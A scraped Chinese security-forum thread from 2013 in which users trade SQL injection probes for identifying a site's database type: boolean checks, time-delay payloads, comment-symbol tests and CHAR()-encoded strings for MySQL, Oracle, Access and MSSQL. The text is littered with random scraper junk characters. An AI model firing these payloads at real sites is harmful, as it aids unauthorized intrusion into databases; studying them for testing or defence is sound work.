一个注射点如何最快速确认是什么类型数据库
* y m2 E+ W e% l' a) w+ Ixsser (十根阳具有长短!!) | 2013-02-05 12:36; L7 ~$ K2 b {; ?0 M% N8 a
假设这么一个注射点:
9 u/ P3 ^( Q% rshow.html?id=2! Y0 d! s( \3 e, ^6 ^' o3 `6 ]
mysql:id=2 and version()>0
3 v9 p1 R" o. x) E. @oracle:id=2 and '1'||'1'='11
W8 V0 { t% {) _" D% ?8 R- W其他的欢迎补充0 _- C, V- K, _
1#$ v. O$ F3 ^( [/ C9 Y
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 12:47
1 M5 i$ T" @, [0 Y* q$ rAccess:% a ?: h7 K W
aNd aSc(cHr(97))=97) t! A0 `/ ~% |2 w+ T4 w* N" _2 T
and exists(select id from MSysAccessObjects)* P* X5 f0 k) |& g
SQL Server:$ S; h; b( [0 h/ g4 m( G
and exists(select id from sysobjects)
0 c/ U' X; m, C, \and length(user)>0
8 ~ P4 D$ k( rMySQL:
6 q# j, d) j5 _4 eand length(user())>0
4 y5 }/ k4 J; r" X- l2#
8 q" o0 w" z0 a( m$ N& _+ z6 Nxsser (十根阳具有长短!!) | 2013-02-05 12:483 D# h+ U+ O5 i% p @- L0 ]3 n4 C
@upload 如果这些都不是呢…' `9 V1 b% {+ l4 u8 y2 A
3#; \4 h; U' V; X) W; o3 M
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:03/ m$ p! e* d' z5 W! I
@xsser 不快速的,延时注入% y2 v7 L9 |" W
不知道这样写对不对- F" \) d0 g6 f. [' V
mssql:id=2 and IF(ascii(SUBSTRING('name',1,1))>0)waitfor delay'0:00:3'
" W0 b& t8 B9 b5 A [mysql:id=2 and select benchmark(1e8,current_date());
4 n1 L2 @ t$ H; U( Q, V/ L4#
& T% K; y+ ~( F# S' @ yupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:103 l' C) C' I( z* g l: u
最快的貌似是看报错信息
9 f* T1 i+ S/ @: b: W+ noracle error
$ } C: w, V; p! g6 _$ imssql error% F: h3 z, }. B+ @+ r$ V" n
mysql error8 r0 ~2 f8 N7 e8 L
5#! G# [2 A/ C) Y0 e/ @9 F; F5 C
Nimda (你们都是坏银~) | 2013-02-05 13:14
: ]# p: @5 d$ J$ ?8 k. |5 g小菜献丑来一发 Oracle:id=2 and 0<>(select count(*) from dual)( x% H$ l2 [6 T! z! H5 [
6#
/ Y) u" n8 b4 Eupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:21; l- Y) k2 G9 K0 Z
“/*”是MySQL中的注释符,返回错误说明该注入点不是MySQL,继续提交如下查询字符:" m! m/ {7 o* \3 b
“–”是Oracle和MSSQL支持的注释符,如果返回正常,则说明为这两种数据库类型之一。继续提交如下查询字符:* Z/ I/ y. T- z* n5 t# e( ]
“;”是子句查询标识符,Oracle不支持多行查询,因此如果返回错误,则说明很可能是Oracle数据库。0 r: y/ Q( V, f0 s
7#
, t' A# x& @: }) b% h_Evil (HackEnd) | 2013-02-05 13:33
7 _/ f. v( z. X3 J1 N1 iPostgreSQL
% [6 T/ T' @* ~6 N* M- F8#
2 E* u& J' m; r. q# q# {. zupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:428 [7 C/ m, { e! g0 y: q& }# P
切换编码 and 1=1) ?! P. s. t9 x. R7 x, l2 _" |* l
oracle:7 d3 S# E4 T0 J9 z( T/ W
CHR(97) || CHR(110) || CHR(100) || CHR(32) || CHR(49) || CHR(61) || CHR(49)
) K& P1 h' G& D kmssql:$ R; [2 F5 ]& O* v2 `
CHAR(97) + CHAR(110) + CHAR(100) + CHAR(32) + CHAR(49) + CHAR(61) + CHAR(49)3 ^% _3 d. ]3 R) B# \
mysql:
, }* F. H( B! `6 RCHAR(97, 110, 100, 32, 49, 61, 49)
1 Y( j% w7 V, s% t7 i' [9#
# }; z# c/ |8 A2 `xsser (十根阳具有长短!!) | 2013-02-05 14:31
0 `) u. s. B1 g* _$ K$ G@upload 比较常见的数据库这些还是可以判断的,但是还有其他奇葩类型的呢?
7 M, }$ o* y) _6 I" G10#, [3 z: k! D6 a, x* S! ~: t, Z+ A' F
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 14:46
2 K/ f! b* H/ n% l! b@xsser 是奇葩数据库类型的么?
* N8 p; l0 S# }) r; h2 e) R2 O; Z根据注入的原理,我们可以猜想,要成功的注入,必须使得注入后的一片和谐,那么使用该类数据库特性来判断,综上所述:8 L A) D' J' J& m5 o
1.是否可以使用特定的函数来判断,该数据库特有的
# o% y6 b. Y# y, A2.是否可以使用辅助的符号来判断,如注释符号、多语句查询符等等$ d5 X0 J- R5 [& D+ }" t3 a
3.是否可以编码查询) O1 f& ~7 L: b) U
4.是否显可以利用错信息; n$ {4 Q, N5 X3 X5 y' L5 f% f
5.是否存在数据库某些特性辅助判断3 b6 i: e H4 M# N1 N) M
个人见解
" ^, c$ k; B6 j* d w11#
0 R$ G. f; ^: P* b! d- p小胖子 (z7y壮士,来,干了这碗酒!) | 2013-02-05 14:55( r: N' {. [3 P7 x5 S$ H
已收藏,mssql可以直接看到错误提示的吧~
6 W$ J2 T( t# O1 `12#
$ F4 {0 ^% c/ E" ~& |6 H* I fPasser_by | 2013-02-05 15:096 u* k! E# b5 g; O# S2 l
曾被 @GaRY 面过我这题。。。紧张了。。后来回家sqlmap判断注射点的时候抓包看了下。。。一抓包全出来了居然。。) g5 Z# S2 S# {3 s
from:http://zone.wooyun.org/content/260 |